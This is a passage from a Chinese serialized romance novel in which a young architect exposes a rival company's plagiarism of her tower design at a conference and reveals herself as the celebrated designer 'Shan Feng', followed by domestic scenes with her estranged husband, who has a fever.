“您放心,我姐不会闹,这件事对她打击很大,一时半会儿她缓不过来。”陆砚深声音顿了顿,思索一瞬后又开口,“我姐夫是被人玩了仙人跳,而且背后的势力可能不太干净。”
陆砚深觉得这事还是要跟他说一下,毕竟陆家传出不好的事,乔远文也会受影响。
这个是乔远文没有想到的,听陆砚深这么一说,神色冷肃了几分。
“这件事查清楚,注意影响。”
“您放心,我心里有数。”
乔远文神色恢复,眼睛扫见江莹,缓缓开口,“砚深,我也曾年轻过,心里也曾有过一个人,那个人在我心里也留下了很深的痕迹。阴差阳错、有缘无分,还是移情别恋,到现在都没有搞懂我跟她算是哪一种。但没有走到一起就是没有那个缘分,你要看清自己的内心,是现在的家庭重要,还是曾经的缺憾非补不可。”
陆砚深怔住,乔远文从来没有跟他说过感情上的事,没想到身居高位,永远自持的人,也……
“姑父,我……”
“你跟江莹的事我听你姑姑说过,不管你做哪种选择,我都不会说什么,但最忌讳的左右摇摆。昨天的事,你要引以为戒,不管什么理由,那个秦欣手伸得都太早,太长了。”
陆砚深深深吸了一口气,没有辩解,他看向江莹,沉静专注的模样很招人。
上半场的研讨主要针对遗址历史文化和宋代建筑特征,进行进一步的阐述和确认。
会议到十点半,正式进入到设计稿的选拔。
主持人的声音通过麦克风传遍了整个会场。
“各位专家,领导,本次研讨会的理论部分到此告一段落。接下来,我们将进入今天最重要的环节。针对逍遥楼重建项目,我们收到很多设计稿,经过几天的筛选,我们将最贴近史书记载的三份设计图,进行现场选稿。”
会议室里的灯光暗下来一些。
随着大屏幕上一张张图纸出现,所有人的目光都凝聚在一起。
秦欣理了理头发,挑衅似的看了江莹一眼。
江莹知道秦欣看她,她稳稳地坐在椅子上,左手轻轻抚摸着自己隐隐作痛的右手,嘴角笑意从容。
秦欣花一千万买了她三年前的设计稿,希望她等会儿还能这么得意。
“大家好,我代表秦氏展示我们的设计图。”秦氏设计部马经理上台。
当设计图完全展示出来,众人议论纷纷,“这不是三年前山风那个获奖作品,官方都没有联系到山风,秦氏是怎么拿到的?”
“不会是盗用吧?”
“应该不是,这么重要的场合,秦氏还不至于。”
“山风还活着?”
设计师看大家的反应这么强烈,笑道:“我们秦氏对于逍遥楼的重建是非常用心的,这两年一直在寻找山风大师,功夫不负有心人,在我们秦总的坚持不懈下,她终于联系上了山风先生,并且说服他把逍遥楼的设计稿交给秦氏。”
会场记者瞬间将镜头转向秦欣。
她唇角勾着一抹笑,温婉大方,跟刚才的不屑和挑衅截然不同。
“一出手就是王炸,接下来的不用看了,山风的设计当年是引起了震撼的。”江莹身边的人调侃。
钟宏看了一眼那人,眼神带笑,一副你真没见过世面的样子。
在大部分人还沉浸在山风本人终于有动静时,秦氏设计部经理又放出另一份设计图。
看到这份设计图,江莹瞬间僵住,钟宏更是直接站了起来。
“大家别激动,这份设计图确实是山风大师的风格,但这是一份全新的设计图,也是我们秦氏的实力。我们在跟山风大师买了版权之后,在原来的设计图上进行了升级。我们整个团队对宋代的建筑工艺研究了三个月,最终才有了这份设计图,请各位专家指证。”
“怎么会这样?”
所有人的目光都聚焦在大屏幕上,似乎没有人察觉钟宏的震惊。
江莹这会儿脸上的从容瞬间消失,这是她花费了两年时间研究出的宋代卯榫互锁结构,这么巧秦氏的设计师也研究出来了。
而且跟她的设计方案,几乎一模一样。
这太巧了点吧?
秦欣费劲心思要买她三年前的设计稿,而且愿意出一千万,是不是在这儿瞪着她呢?
江莹觉得胸口有些闷,堵得很。
钟宏反应过来,坐下看向江莹,“莹莹,先别激动,稳住。”
他们本来是有心里准备的,来之前钟宏的老同学就跟他透漏了,设计稿雷同,但他坚持比稿。
却没有想到竟然这么相似。
他安慰完江莹起身上台,“我是江北大学古建筑设计研究及文物修复专业的钟宏,下面这个设计稿来自我的学生江莹。”
陆砚深本来没太在意,他等的是乔远文,坐在这里看热闹罢了。
但听到江莹的名字,看到那幅设计图,他原本交叠的双腿,悄悄放了下来,脊背挺直。
江莹的设计稿已出现,现场瞬间喧闹起来。
“这……太像了吧,几乎一模一样啊。”
“秦氏有山风的授权,这个没有吧?”
“没有授权,就是抄袭,这不光抄袭了山风,还抄袭了人家秦氏。”
“钟教授执教一生,向来严格,这次算是被他的学生坑了。”
江莹听到这话,倏然站了起来,紧张道:“我没有抄任何人。”
“江小姐,现在这种情况你该怎么解释?”
文化局的领导言语平静,脸色却异常严肃。
“我之所以同意放出这两份设计稿,其实是很欣赏你在鼓楼上的设计,秦氏在这一块儿是有缺失的。当然,也是想提醒广大年轻人,不要为了成名,为了功利而做违背道德底线的事。”
秦欣缓缓开口,“王局长,鼓楼的工艺并不特殊,当然我们疏忽了这一部分也确实是工作不够仔细,但此次比的是设计方案和宋代的建筑工艺,至于其他细节相信有各位专家的指导,修改后肯定会更完善。”
江莹咬唇,虽然不知道自己的设计稿怎么泄露的,但现在看来,秦欣早就知道她要参与逍遥楼的设计。
“人都有疏忽的时候,前段时间,我刷到一个视频,就是说这位江小姐参与设计的项目疏忽大意,拆除承重墙造成多名农民工重伤。”
这人是台下的一个记者,在挺秦欣时,还不忘踩江莹一脚。她这话一出口,会场瞬间陷入了异常的安静。
钟宏直接回怼,“不知道情况不要在这里带节奏,你是记者,不是营销号。那件事陆氏已经澄清,跟江莹可没有关系。”
那个记者微微垂眸,样子像是害怕,弱弱回道:“她若不是陆氏总裁的妻子,陆氏会做澄清吗?”
钟宏:“……”
江莹努力让自己平静下来,她抬步走向台前,“既然陆氏的澄清你不信,那今天我当着你的面证明我没有抄。”
第111章 江莹就是山风
江莹目光冷锐地扫向台下的记者。
然后看向秦氏设计部马经理,“你们公司的设计师能把主楼匾额上的雀鸟纹路,画得跟宋代古籍里分毫不差,足以说明你们对逍遥楼的研究绝不是停留在表面。”
马经理得意,“那当然,我们对每一个项目都付出百分百的热忱,这是我们秦氏一直以来对待工作的态度。”
“既然如此,您怎么会不知道鼓楼的存在?”
马经理神色有些慌,“我们不是不……”
江莹并没有跟给他开口的机会,继续追问:“古建筑复原,讲究的是对历史的尊重与最大化还原结构。一个连雀鸟羽毛都死磕的设计师,会把用来平衡整体建筑风水和力学支撑的鼓楼给凭空漏掉?”
马经理慌乱神色加重,额头上渗出一层薄汗。
他下意识地看向一旁的秦欣,咽了口唾沫尽量让自己的声音平稳,“我们……我们团队是分工协作的,每个人负责研究一部分,所以在衔接上可能存在一些差错。”
江莹抿唇,嘴角笑意恬淡,若她不能自证清白,今天自己被会很惨不说,怕是会连累老师声誉被毁。
她直接掏出手机,目光越过马经理,直直盯着秦欣,“秦总,两分钟前我给你发了条消息,麻烦您现在打开微博私信看一眼。”
秦欣眉头紧皱,心里没来由地慌了一下,但面上还是极力维持着得体的笑,“江小姐,在座的都是前辈和领导,大家的时间很宝贵,你有话不放直说,别浪费大家的时间。”
秦欣顿了顿,语气里带着赞赏和劝慰,“不可否认,江小姐之前在室内装修设计上确实做得不错。你如果在那个领域继续发展,一定也会有出路的,何必非要闯进这个本就不属于你的圈子?”
江莹看着她不配合,还演上了,转身走到控制台前,直接将自己的手机屏幕投屏到了现场的LED屏幕上。
清晰的聊天记录,随即暴露在所有人的视线中。
不看账号名字,但看聊天内容就可以清楚知道,双方是山风和秦欣。
更刺眼的是那张高达一千万的转账凭证。
“秦总花了一千万,点名买山风三年前画的旧稿。”江莹再开口,声音冷了不少,“现在拿着我的旧稿,想顺势剽窃我的新稿,堂而皇之站在这里踩我这是早有预谋啊?”
秦欣脸上温婉的笑意,一点点消失,盯着屏幕上的信息瞳孔紧缩。
“这怎么可能?”
“怎么就不可能?”江莹嘴角勾起一抹笑,“正式自我介绍一下,我,就是山风。”
原本还有人窃窃私语的报告厅,在这句话砸响时,瞬间静得落针可闻。
秦欣盯着台上的江莹,呆若木鸡。
坐在角落里的陆砚深猛地抬起头,那双向来波澜不惊的深邃眸子里,此刻满是震惊。
一旁的乔远文也错愕地挺直了脊背。
时间短暂的静默后,现场的媒体和专家率先炸开了锅。
谁能想到,那个三年前横空出世、惊艳了整个古建圈的神秘大师,竟然会是一个二十多岁的年轻女孩。
大家都以为山风应该是个上了岁数老者,最起码也应该是个中年男人。
“这怎么可能,秦总该不会是被人耍了吧?”
“你是说仙人跳?”
“对啊,这怎么可能?她说是就是啊,太离谱了,一个女人,还这么年轻。”
面对台下的骚动与质疑,钟宏直接地站了起来。
“我可以作证,江莹就是山风。她三年前那版设计稿里,关于宋代独有的卯榫工艺,是我给她讲的。”
“老钟,你会不会是被她骗了?”
一旁是文化局统筹逍遥楼工作的人,也是钟宏的同学,他同样震惊觉得不可能出自一个年轻小姑娘之手。
“你说你是山风我还会信,她一个小姑娘怎么可能?”
“三年前,江莹因为结了婚,有了自己想要的生活,不想被外界的虚名打扰。作为她的老师,我尊重她的选择,所以这三年一直替她保守着这个秘密。”钟宏看向自己老同学,“老张,我被自己的学生超越了,我很骄傲!”
记者对江莹一阵猛拍,这趟来值了,本以为只是走走形式,没想到堪比娱乐圈啊!
陆砚深怔在原地,呆呆看着台上的女人。
一直以来在工作上默不作声的人,竟然是古建筑界寻找了三年的工匠大师。
他还记得当初她说想进陆氏工作,自己说陆氏不养闲人,想进陆氏得看看自己有没有那个本事。
她进了陆氏,用自己的作品签下第一个合同时,在他面前炫耀,他说的却是对方审美一定有问题,要不然陆氏那么多设计不选,选上你一个半路出家的。
江莹在陆氏工作三年,他似乎从来没有肯定过她的工作。
现在,事实给了他一记耳光,他看不上的一个室内设计师,确实古建筑非遗工匠大师。
看着台上温柔带笑的女人,她身上仿佛被笼上了一层浅淡的柔光。
是他从未见过的,自信从容!
身份的证实让秦欣那边的阵脚彻底大乱。
这时,现场一个专家站出来质疑,眼神复杂,“就算你是山风,那又怎样?谁能证明秦氏今天拿出的这版图纸,不是他们团队自己在山风旧稿基础上原创的?”
“也许是你江莹江郎才尽,反过来抄袭了秦氏的新方案呢?”
江莹面对这种倒打一耙的质问,没有生气,而是转头再次看向额头上汗津津的马经理。
“既然你说这是你们团队苦熬三个月做出来的升级方案。那请问,你们有设计过程中的草图、建模步骤或者图层记录来证明吗?”
马经理双腿发软,支支吾吾的连一句完整的话都说不出来。
“这方面我们……我们的记录有点少,但公司参与这个项目的……所有设计师都可以证明。”
这种苍白无力的辩解,在场只要长了脑子的人都能听出里面的心虚。
江莹轻笑,“你们证明不了,但我可以证明。”
第112章 他不敢触碰的回忆
“秦氏今天展示的所谓升级版,根本就是照搬了我的终稿。”
“你们为了跟我的原稿做差异化,故意抹去了我钟楼部分的设计,以为这样就能瞒天过海。”
江莹说完滚动鼠标,屏幕上的逍遥楼设计图开始一点点被放大。
所有人的视线都紧紧追随着大屏幕。
图纸放大到了极致,视线越过重重飞檐,最终停留在逍遥楼顶端那颗雕花设计的圆形宝顶上。
在宝顶中心笔线的暗纹里,赫然藏着两个微小的汉字和一个字母——山风.J。
这就是江莹独有的防伪签名。
全场瞬间爆发出一阵难以遏制的哗然声。
铁证如山,再也没有任何人能替秦氏洗白半句。
刚才还对江莹指指点点、认定她抄袭的人,此刻全都闭嘴了。
“连签名都原封不动地抄了进去,看到山风说的是真的,秦氏只是抹去了鼓楼的设计,又在旁枝末节上做了点修改。”
“秦氏这么大个企业,居然干出这种毫无底线的偷窃勾当!”
“贼喊捉贼,今天真是开了眼了!”
台上的领导和专家沉默着,台下媒体和记者的声音不加掩饰。
一声声讨伐犹如实质的巴掌,狠狠扇在秦欣的脸上。
秦欣努力控制着自己的情绪,指甲死死掐进掌心里,却感觉不到疼。
她做梦都没有想到,自己花了一千万买来的万无一失的保险,竟然从一开始就是江莹给她挖好的坟墓。
她自以为步步为营,要将江莹彻底踩在脚下,让陆砚深厌恶她,不想却被江莹当众像剥洋葱一样,把底裤都扒了个干净。
文化局的孙局长脸色铁青,猛地一拍桌子站了起来。
“荒唐,秦氏集团的设计方案即刻作废,取消本次逍遥楼项目的竞标资格!”
“秦氏恶意构陷他人、盗窃他人设计成果,我会向上级反映,将秦氏拉入临市市政工程的黑名单。”
这个反映,相当于直接砍断了秦氏未来在临市官方项目上的所有出路。
秦欣原本惨白的脸瞬间变成死灰。
政企合作的机会丢了,若是这个时候再不挽回点尊严,董事会那些老狐狸绝对会把她生吞活剥了。
生死关头,秦欣的态度发生了一百八十度的大转弯。
她颤抖着起身,缓步走上前,红着眼眶,对着台上的领导深深鞠了一躬,声音哽咽。
“各位领导,对不起,是我作为公司总经理管理不严,才让这种不良风气进入了秦氏的设计团队。”
“我保证回去之后一定严查这件事,对所有参与者都予以处罚。”
她态度真诚得让人挑不出一点错,若不是江莹足够了解她,真会以为她是无辜的。
“秦总,我希望你能给我一个交代,毕竟到现在也没说你们是怎么得到我的设计稿的。”
秦欣眼神闪过一抹慌乱,微微躬身,极尽真诚,“我一定会的。”
江莹并没有追着问,毕竟这么多领导、专家和媒体,若是她揪着不放,矛盾会被放大,会拿她和陆砚深的关系来做文章。
她不想把个人私事跟逍遥楼项目混在一起被谈论,仿佛玷污了逍遥楼。
在众人的注视下,秦欣带着秦氏的人灰溜溜地逃离会场。
走到门口被一群记者围住。
“秦总,请您说说,您是不是事先知道山风就是陆太太,故意挑衅?”
“秦总,您这样介入陆总的婚姻,知三当三,不觉得太不道德吗?”
“秦氏的剽窃您是否知情?”
在秦欣狼狈不堪时,陆砚深站了起来。
他的这一动作,别人没有注意到,但台上的江莹看得一清二楚。
若不是乔远文按着他,他怕是要上前了。
乔远文打了个电话,不一会儿,过来几个保安,护送他们离开。
媒体的人唏嘘不已。
“没想到竟然有人敢在这样的场合做手脚,作死呢。”
“不作就不会死,这是活该。”
“也不怪秦氏抱有幻想,毕竟山风这些年一点消息都没有,而且还把设计图卖了。”
“这个山风,果然是山里的一缕风,根本不知道她的目标和方向。”
“这事儿,感觉就是山风给秦氏挖的坑。”
“姐妹,看破不说破,她和秦欣那点事,你没听说过?”
“但这反转、打脸,一波接一波,真给我看爽了。”
门关上的那一刻,王局长率先鼓掌,紧接着掌声雷鸣,在报告厅经久不息。
王局长看着那个脊背挺直、不卑不亢的年轻女孩的,脸上的阴霾一扫而空,取而代之的是浓浓的赞赏。
“江小姐,年纪轻轻就能拿到非遗大师工匠奖,这已经是非常了不起的成就了。更难得的是,你居然能够放弃唾手可得的名利,隐姓埋名做自己。现在的年轻人,多的是被名缰利锁拴住手脚的,像你这样通透、一心只扑在热爱上的,实在是太少见了。”
江莹礼貌的颔首致谢,“您过誉了,只是曾经的我太傻,没想那么多。但,人生在世每一段经历都是财富,其实您可以问问我是否后悔。”
她说完俏皮地看着王局长。
王局长笑吟吟道:“你肯定会说不后悔。”
“江莹嘴角扯出一个大大的笑意,“不,我会说我后悔了。”
台上的一众领导和专家都笑了起来。
陆砚深看着台上笑意殷殷,俏皮可爱的女人,心里泛着涩。
似乎感觉到一缕风从指缝中溜走。
多年以后再回忆这段感受,陆砚深知道,这时候溜走的不是风,而是一直萦绕在他身边的那个人。
“你这丫头,性格跳脱,和你的作品差异太大。”
“王局长,你这会儿该明白我为什么这么宝贝我这个徒弟了吧。”
钟宏乐呵呵地看着江莹,认定她就应该站在光里,做那个闪闪发光的人。
王局长笑着点点头,又好奇地问道:“你这样一个文文静静的柔弱女孩子,为什么会给自己起名叫山风?”
听到这个问题,江莹的神色变得温柔,眼底泛起了一层细碎的光。
“其实,这个名字并不是我起的,它来自我的母亲。”
台下的乔远文本来只是想静静看一下逍遥楼的设计图,没想到看了这样一处闹剧。
他不但没有生气,反而定定看着江莹,被她的从容、睿智和大气所以吸引。
“我母亲叫江岚,她以前最喜欢画画。虽然不是什么知名画家,但也吸引了不少真正懂她的人。她用的笔名就是山风。”
江莹深吸了一口气,将喉咙里那一丝酸涩压了下去。
“三年前,我拿着这版图纸去投递非遗工匠大赛的时候,我母亲正因为一场车祸,昏迷不醒地躺在重症监护室里。”
“我用她的笔名去参赛,是希望她能知道,她的梦想还有人在替她延续。我也私心地希望,这个代表着她的名字能站在高处,或许能为她换来一点点好运,让她早点醒过来。”
江莹清脆平静的声音在大厅里回荡。
坐在角落里的乔远文却像是被施了定身法一样,僵硬得连呼吸都快停滞了。
“江岚……山风……”
乔远文死死盯着台上那个眉眼生动的女孩,眼前的视线突然变得一片模糊。
此刻,透过江莹那张年轻的脸庞,他仿佛穿越到了二十五前,再次看到了记忆深处那个让他念念不忘的人。
清风徐徐的夏夜,满天繁星之下,江岚靠在他肩头,亮晶晶的眸子一眨不眨看着他。
“远文,你说我笔名叫什么好?”
当时的乔远文沉默了一瞬,伸手将她揽在怀里,声音温柔,“你对我而言,就像这夏夜山里的一缕风。清凉,干净,让人贪恋。我觉得‘山风’就挺好,灵动自由,跟你很贴合,刚好是你的名字拆开。”
那时候的他们,以为会相伴一生。
没想到,那晚终成为了他不敢触碰的回忆。
而现在,台上江莹嘴角的笑意,生生划开了乔远文心底封存了二十五年的记忆。
上次在疗养院,看过江岚,他回去久久不能平静。
若是不因为在陆家见到江莹,他不会临时决定去看江岚。
当初太决绝,说了此生不见。
他们做到了,二十五年,无论曾经有多想,他始终没有在江岚面前出现过。
但江莹的出现,让他失控,让他违背了承诺。
第113章 滴水未进
研讨会圆满结束,江莹的设计稿毫无悬念地被官方正式采纳。
会场内的人群逐渐散去,钟宏满脸自豪,拉着江莹跟几位古建界的泰斗级专家一起去定好的中餐厅吃午饭。
刚走出报告厅,江莹看到侧门被几个人陪同离开的乔远文,还有他身边的陆砚深。
江莹下意识地停住脚步,目光落在陆砚深的背影上。
男人依旧挺拔高大,但今天走路的姿势却明显有些怪异,右腿似乎不敢完全吃力。
他受伤了?
想到他跳下盗洞时膝盖着地,想来是那个时候受伤的。
但,担忧的念头只在江莹脑子里闪了一瞬,便被她压了下去。
他受不受伤,跟她又有什么关系。即便是真的受伤了,也是他的小心肝害的。
饭后,江莹看距离去考古研究所时间还早,便想着回酒店休息一下。
走廊里静悄悄的,她踩着厚厚的地毯几乎听不到任何脚步声。
路过陆砚深房间时,虚掩的门缝让江莹脚步顿住。
紧接着是秦欣染了哭腔的声音,“砚深,你膝盖明明伤得这么严重,怎么不说呢?我送你去医院好不好?你这样硬撑着会落下病根的。”
秦欣的声音带着浓浓的心疼,仿佛比她自己受伤都痛。
江莹站在门外,嘴角扯出一抹嘲讽的冷笑。
陆砚深向来清冷寡淡的嗓音传了出来,“不用了,你收拾东西赶紧回江北,轩轩一个人在家好多天,会很难过。”
“嗯,马上回去,我也想轩轩,他还没有离开我这么长时间过。”秦欣声音乖巧。
“还有,你不合适管理公司。”陆砚深语调平稳,“杜宇找的职业经理人下周一就会到秦氏报道。这件事我已经跟你爸商量过了,他也同意。以后你就待在家里,好好照顾轩轩。”
江莹挑了挑眉,夺权?
这倒是出乎她的意料,她还在想陆砚深这回该怎么补偿她,为他的小心肝开脱。
没想到,这人已经想好了,先发制人,直接堵住了她的嘴。
短暂的沉默后,秦欣再次开口,声音里没有愤怒,依旧透着乖巧的顺从。
“好,我听你的。我确实不适合管理公司,一直给你添麻烦。”
秦欣吸了吸鼻子,语气愈发温柔卑微。“等见到了莹莹,我会亲自给她道歉。这次确实是我没有管理好团队,才让他们钻了空子,搞出这种剽窃的丑闻。”
“你躺好,腿上的伤,我先帮你简单处理一下好吗?”
听到这里,江莹觉得胃里一阵恶心。
郎情妾意,还挺感人。
她没兴趣再听这两人怎么拉扯,冷着脸径直回了自己的房间。
“砰”的一声关上门,江莹直接倒在柔软的大床上。
四周安静下来,她盯着天花板,眉头一点点拧紧。
今天在会场上打脸秦欣确实很爽,但有一个致命的问题,她始终想不明白。
她的最新设计稿,到底是怎么泄露出去的?
她参加逍遥楼设计这事,除了身边最亲近的几个人,没有任何人知道。
老师?绝不可能,他视学术如命。
师哥?他根本就不在这个专业里混了,也没有动机,而且他绝不可能做对自己不利的事。
梁玥更不可能,那是能为她两肋插刀的闺蜜。
至于带她的凌澈?他跟秦欣八竿子打不着,而且他根本不知道自己电脑的开机密码,更甚至都没有看到过那份设计稿。
知道她电脑密码的人,除了她自己,就只有陆砚深。
在陆氏这三年,为了方便处理一些紧急文件,她从来没有瞒过他密码。
可是,陆砚深知道她在画逍遥楼的图纸吗?
他平时根本不关心她的工作,就算看到她在加班,也只会冷嘲热讽几句。
江莹的手指紧紧攥住床单,指关节泛白。
会不会是陆砚深为了哄秦欣开心,或者为了帮秦氏拿下这个项目,偷偷动了她的电脑……
想到这里,她摇了摇头,很快否定自己的猜想,以陆砚深的性格,他若是真的要设计图,怕是会用钱砸死她。
而且,在他心里,江莹爱钱,他不屑去偷。
总共就这么几个人,到底是谁呢?
斜对面陆砚深房间里,气氛压抑得让人喘不过气。
陆砚深靠在沙发上,深邃的眸子冷冷地睨着蹲在自己脚边的秦欣。
若不是他今天亲自坐在会场里,亲眼看完了全过程。
他真的会以为,秦欣是故意针对江莹,非要逼得江莹身败名裂不可。
但秦欣在看到屏幕上“山风”两个字时,那一瞬间震惊的表情,不可能是装的。
她确实不知道江莹就是山风。
正因为看不透,他刚才才故意用撤掉她总经理职务的事来试探她。
但秦欣竟然一点都没有反驳,顺从得像一只被抽了骨头的猫。
这让陆砚深一时间无法判断,今天这出戏,她到底是被人当了枪使,还是真的太善于伪装。
秦欣拿着沾了碘伏的棉签,就要往陆砚深卷起的裤腿上碰。
“你先走吧。”
陆砚深毫不留情地将自己的腿往旁边一挪。
秦欣的手僵在半空,眼眶瞬间红透,“砚深……”
“等会儿我自己处理。”陆砚深直接放下裤腿,眼神明显疏离,“收拾你的东西,赶紧回江北照顾好轩轩,要想后半辈子安稳,别再插手公司的事。”
秦欣咬着下唇,眼泪吧嗒吧嗒往下掉,却不敢再忤逆他半句,只能委屈地站起身往外走。
房间门关上,陆砚深烦躁地揉了揉眉心。
这段时间一波未平一波又起,但这件事若是不查清楚,对江莹不公平。
想到那个倔强又耀眼的女人从来不给他个好脸色,陆砚深深深叹了口气。
他刚准备处理自己膝盖上的伤,床头柜上的手机响了起来。
屏幕上显示的是老宅的号码。
他划开接听,电话那头传来管家焦急的声音,“少爷,您快回来看看吧!大小姐从昨天回来到现在,滴水未进。她把自己关在房间里,连眼睛都没合一下,再这样下去人都要熬坏了!”
陆砚深拿着棉签的手顿住。
陆君向来骄傲,又深爱着许振清。可想而知许振清的出轨,对她是毁灭性的打击。
“我知道了。”
……
江莹午休后,直接去了考古研究所。
他们要跟官方的专家组一起,对逍遥楼的设计图进行全面深入的审核。
会议刚开始,江莹手机亮了一下。
她垂眸扫了一眼,是陆砚深发来的微信。
【家里有急事,我先回江北了。】
江莹盯着那行字,嘴角勾起一抹极淡的笑。
陪着小情人来临市撑场子,现在小情人丢了脸待不下去了,他就寸步不离地陪着回去。
这算哪门子的家里有急事?
编出这种虚伪的理由,难为他了。
江莹咬唇,秦欣接连挑衅,他要保那就一起攒着,离婚冷静期到了他敢耍幺蛾子,得看看他的小心肝能不能扛得住这么多爆料。
第114章 烧傻
次日下午。
结束了临市的所有对接工作,江莹返回江北。
推开梧桐里的大门时,已经是傍晚时分。
屋子里光线暗淡,却并不觉得清冷。
江莹换了鞋,连灯都没开,直接拖着疲惫的身体上楼。
最近几天,她总觉得自己怎么睡都睡不够。
而且只要一沾枕头,她就能立刻睡过去。
简单洗了个澡,江莹就一头倒在床上,沉沉睡去。
不知道睡了多久,迷迷糊糊中,江莹感觉有一只手落在她脸颊上。
手指带着异常温热,粗糙的指腹,有节奏地摩挲着。
触感太真实,让江莹的意识渐渐回笼。
她缓缓睁开眼睛,卧室里没有开灯,只有窗外皎洁的月光透过没拉严的窗帘缝隙,斜斜地打在地板上。
床边空空荡荡,根本就没有人!
就在她以为自己是在做梦的时候,视线定格在床对面的单人沙发上。
月光所落之处,静静地坐着一个人,是男人的轮廓。
江莹开灯,心里突突直跳,“谁?”
房间骤然照亮,陆砚深不耐烦地睁开眼,眼尾闪过一丝慌乱。
“叫什么呢,见到鬼了?”
江莹看清坐在一旁的人,提着的心落回原位,“你在我房间干什么?”
“腿疼又累,休息一下。”
“啊?”
江莹愣了,永动机一样的人说累,还是破天荒头一次听到。再说了,他自己的房间离得很远吗?
“陆砚深,你赶紧走,我家不欢迎你。”
“我付了住宿费。”陆砚深声音低沉。
“我退给你。”
陆砚深勾唇,脸上却带着明显的疲惫,“你这是名利双收开始膨胀了。”
“不用你管。”江莹说着皱眉,“在临市,你没有遵守协议,算下来,你得补偿我。”
陆砚深嘴角轻扯,掏出手机点了几下,“转过去了,补偿。”
“临市的事陆总是不是欠我一个说法,我是找你谈,还是去找你的心肝?”
“马经理已经被开除,他交代是在江北学校看到了你的设计稿,他是江北袁教授的学生,关系亲近。钟教授在学校跟袁教授谈论过你的图纸,他是趁两人不在时偷偷保存的。”
陆砚深像是怕她不信,补充道:“证据我发你邮箱了,马经理交代的整个过程。你要是不信,可以随时找他了解事情真相。”
江莹怎么都没有想到竟然是从老师这里泄露出去的,这要是让老师知道,心里肯定自责。
陆砚深看着她,眸底布上一层暖意,刚刚她熟睡的样子跟现在张牙舞爪的她判若两人。
这时,江莹的手机响起,杜宇打来的。
大晚上,他找老板打她电话干什么?
江莹皱了皱眉,“你助理的电话。”
她倒不是烦杜宇,只是杜宇的电弧多半是跟陆砚深有关,找不到陆砚深就会给她打电话。
“又不是打给我的?”
看陆砚深那个死样子,江莹撇撇嘴接通电话,毕竟杜宇人还不错,对她一直很恭敬。
“太太,陆总高烧三十九度,我怕家里没有退烧药,买了药送过来。陆总电话一直没人接,我担心他晕倒,能不能把家里密码告诉我。”
江莹一愣,猛地从床上坐直,“三十九度吃药还有什么用?”
说完意识到自己有点傻,这人好好坐在那里,哪像是39度,看到他那样倒像是3.9度。
“我劝了,陆总不肯去,坚持要回家。我担心没有药,谁知道现在根本就联系不上,没办法只能问您密码。”
陆砚深进来看到江莹睡着,直接把手机调了静音,哪知杜宇会买了药折回来。
江莹看他脸色确实不正常,眉头紧皱,脸色苍白,看起来极为隐忍。
陆砚深疯了吧,烧这么厉害不去医院在这里不咸不淡跟她闲扯,不怕自己烧傻了。
“你放心,他没晕,怕是已经烧傻了。”
江莹说着下楼,“密码******,你先进来吧。”
“你干嘛去?”身后的男人声音显得有气无力。
“好,您在家我就放心了。”
杜宇看到江莹下来,把手里的药递给她,“应该是腿上的伤发炎引起的发烧,加上这两天事情多,几乎没怎么休息,所以来势汹汹。但陆总不愿去医院,辛苦太太劝一下。”
江莹点头,“杜宇,你困的话,楼下有客房,你去休息一会儿,万一烧不退,可能还得麻烦你帮忙把他送到医院。”
“没事儿太太,我就在楼下,有事您随时叫我。”
江莹说了声“谢谢”,便匆匆上楼。
看到这会儿斜靠在床上的人,江莹把手里的药和体温计放在床头柜上
陆砚深一发烧就很矫情,不爱吃药也不喜欢去医院,犟驴一样,死活都劝不动那种。
陆爷爷说跟他小时候的经历有关,他父母是同一天在医院没的,从那天之后他就对医院很抵触。
爷爷手术时,江莹还以为他已经克服,后来看他发抖才知道不过是强撑。
陆砚深上次发烧还是去年的事。
当时刚立冬,可能是天气突然转冷的缘故,加上他也是刚出差回来,夜里突然发起烧来,大半夜愣是将她给烫醒了。
她一开灯,就见陆砚深嘴唇干裂,一张脸烧得红彤彤,对方见她开灯还很不高兴,嘟囔问她大半夜开灯干嘛。
他根本就不知道自己发烧。
当时,她下床找体温计,一量也是将近三十九度,二话不说就要送他去医院。
结果,这人死活不去,还跟她吵了起来。
说实话,生病的时候陆砚深吵架根本就没什么气势,江莹根本就不怕,甚至看他烧得可怜兮兮,还挺心疼。
拗不过他,她就给他找退烧药,哄着他吃下,一遍遍给他物理降温,衣不解带地守着他。
陆砚深好像烧迷糊了,拉着她的手一直不肯松,这在以前可是从来没有过。
那时候她一门心思喜欢陆砚深,他对她笑一下,她都能脑补出两人白头偕老的场景,更不用说拉着她的手不放了。
她当时满脑子都是旖旎的想法,甚至想好可惜,若不是发烧一定要把人扑倒,甚至有种守得云开见月明的喜悦。
然而陆砚深接下来的话,却将她一颗心直接推了冰窟。
他说:“欣欣,别走。”
她对陆砚深的心凉,大概就是从那个时候起就已经埋下了导火索。
她知道陆砚深娶她时被迫,也知道他心里装着人,但那会儿年轻,对自己充满自信,总想着结婚了会有日久生情。而且她长得不差,不说人见人爱吧,但从小到大不缺追求者,她早晚能把陆砚深心里那个人挤出去,自己住进来。
然而,一切不过是她一厢情愿的妄想,在陆砚深心里,那个人始终都在,不管她多努力,坐的多好,在他心里永远没有自己的位置。
这就是白月光的杀伤力,这狗东西为了秦欣甚至守身如玉。
若不是自己主动撩拨,趁他喝了点酒,估计到现在都是形婚。
“傻愣着干嘛?”陆砚深看她盯着自己看,轻抿了下唇,“对我有想法?”
第115章 趴在她身上
江莹睨了他一眼,纵使她对陆砚深有再多怨言,心里也并不想他出事。
“我对你有想法,你行吗?”江莹故意气他。
“要不试试?”陆砚深抓住她的手。
“我怕你死在我身上,以后让我对这事有阴影。”
陆砚深身形一顿,红着眼看向她,那眼神似有些愤怒,冷冷道:“你想的还挺远。”
“那是,杜宇给你买了药,我不打算让你吃,等你烧糊涂了,说不定能多骗两个亿。”
陆砚深脸上瞬间黑了,咬牙道:“你做梦!”
这女人什么时候这么不着调了,都说一日夫妻百日恩,她倒好,还没离呢,不是盼他死,就是惦记他的钱。
江莹上前伸手去摸他的额头,结果陆砚深歪头躲开他,一脸嫌弃。
江莹又好气又好笑。
“张嘴吃药。”
江莹伸手把要和水递给他,结果狗东西看都没看抬手推开。
杯子直接掉在地上四分五裂。
陆砚深有气无力看了一眼,道:“你去我房间睡,明天早上我收拾。”
看在他是为了救自己受伤感染的份上不跟他计较,好脾气道:“要不去医院?”
陆砚深不耐烦,“不去。”
江莹盯着软绵绵的陆砚深看了几秒,踢掉鞋子爬上床,骑跨在他身上,伸手就去解他的衬衣。
陆砚深被她突如其来的操作,弄得目瞪口呆,反应过来开始挣扎。
